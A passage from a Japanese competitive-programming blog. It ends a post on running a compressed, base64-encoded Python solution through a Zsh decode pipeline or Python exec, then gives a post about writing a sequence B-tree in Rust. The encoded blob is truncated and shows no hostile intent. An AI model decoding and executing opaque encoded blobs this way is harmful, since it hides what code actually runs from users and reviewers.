あとは記事の冒頭のツイートのように直接シェルから実行してもよいですし、そういうのが嫌であれば Python で exec してもよいでしょう。



# Zsh
echo 'H4sIAAAAAAACA+3dUa4kRQ4F0P9YReu9H5BQ7YBV8IlYAD+t0YjZ/zTqAXrqUakqE5nhsI8VIwVY
...
+/778a9///6PP/38+Zfvx38BHgVMXiMkCQA=' |
    base64 -d | gunzip > main.py
python3 main.py







# Python
from base64 import b64decode
from gzip import decompress

SRC = """
H4sIAAAAAAACA+3dUa4kRQ4F0P9YReu9H5BQ7YBV8IlYAD+t0YjZ/zTqAXrqUakqE5nhsI8VIwVY
...
+/778a9///6PP/38+Zfvx38BHgVMXiMkCQA=
"""

exec(decompress(b64decode(SRC)))





所感



久々にこういう遊びをした気がします。
この手の考え方も選択肢に入れておくと、何らかの局面で役に立つこともあるのではないでしょうか。



補足：コンテスト中は（いわゆる正攻法の）再帰のコードを Rust で書きました。



おわり



おわりです。




*1:矩形は「くけい」と読みます。多くのエディタでできる操作だと思います。


*2:Vim というのはエディタの名前です。そういうエディタがあります。


*3:同じようなパターンの繰り返しでできる文字列なので、納得感はあります。



    
    
  



    
  

  




      
      
    
  
    
      
        

  

    

  
    

    
      
    
      

  

  B-tree を書きました



  
  

  

    
    おつまみ記事
    
  



  

  




    


    

  
    
rsk0315.hatenablog.com



B-tree が書けたらまた自慢しに来ます。



書けました。一旦は append*1/split と添字でのアクセスと bisect*2 ができる列としての B-tree です。セグ木のような区間 fold 演算ができた方がいいのかもという気持ちもあります。



一応実装を貼っておきますが、初めてなので改善の余地はよちよちという感じです。



rsk0315.github.io



alloc::collections::btree::node をある程度参考にしつつ書いていて、ある程度は std::collections::BTreeMap の内部についてもわかってきつつ、だいぶ設計が異なるのでまだまだお勉強の余地があるかなという感じです。



LeafNode や InternalNode では B-tree のノード数の下限の制約を無視していて、それは BTreeMap 側で担保しているみたいなのですが、そうした方がいいのかな〜という気持ちがあったりなどします。



列としての B-tree であれば、(BTree|Hash)Map にあるところの .entry() の API は提供する必要がないんですよね。
と思いつつ、「bisect で見つけたあたりの場所が何らかの条件を満たすなら、その箇所に挿入する」のような操作はしたいことがしばしばあって、.entry() めいた I/F を使えたらいいのかもという気もします。



どうせそのうち $\circ\colon S\times S\to S$ とかを渡せるようにして書き直すだろうので、そのときにまた考えます。



参考文献



いつもの (CS166.1146/03) を見ました。



実装し終わった後、下記の記事を見つけました。これもよいと思います。



trap.jp



おわり



思ったより疲れているみたいで、あんまりまともに文章が書けませんでした。



また勉強したり休憩したりしたら、BTreeMap の設計や unsafe なコードのことや Stacked/Tree Borrows のことに関してまとめたい気持ちがあります。



一方、なんか、なんでこんなことやってんだろうなみたいな気持ちも湧いてくることがしばしばあり、危ないな〜というところですね。



簡潔データ構造についても何もまとめていなくてやば〜というところです。




*1:界隈では merge と言われがちですが、“merge” は抽象的すぎる感じがして避けています。列の末尾に連結させることを明示したいです。


*2:partition point と呼ばれている場合もあるかも。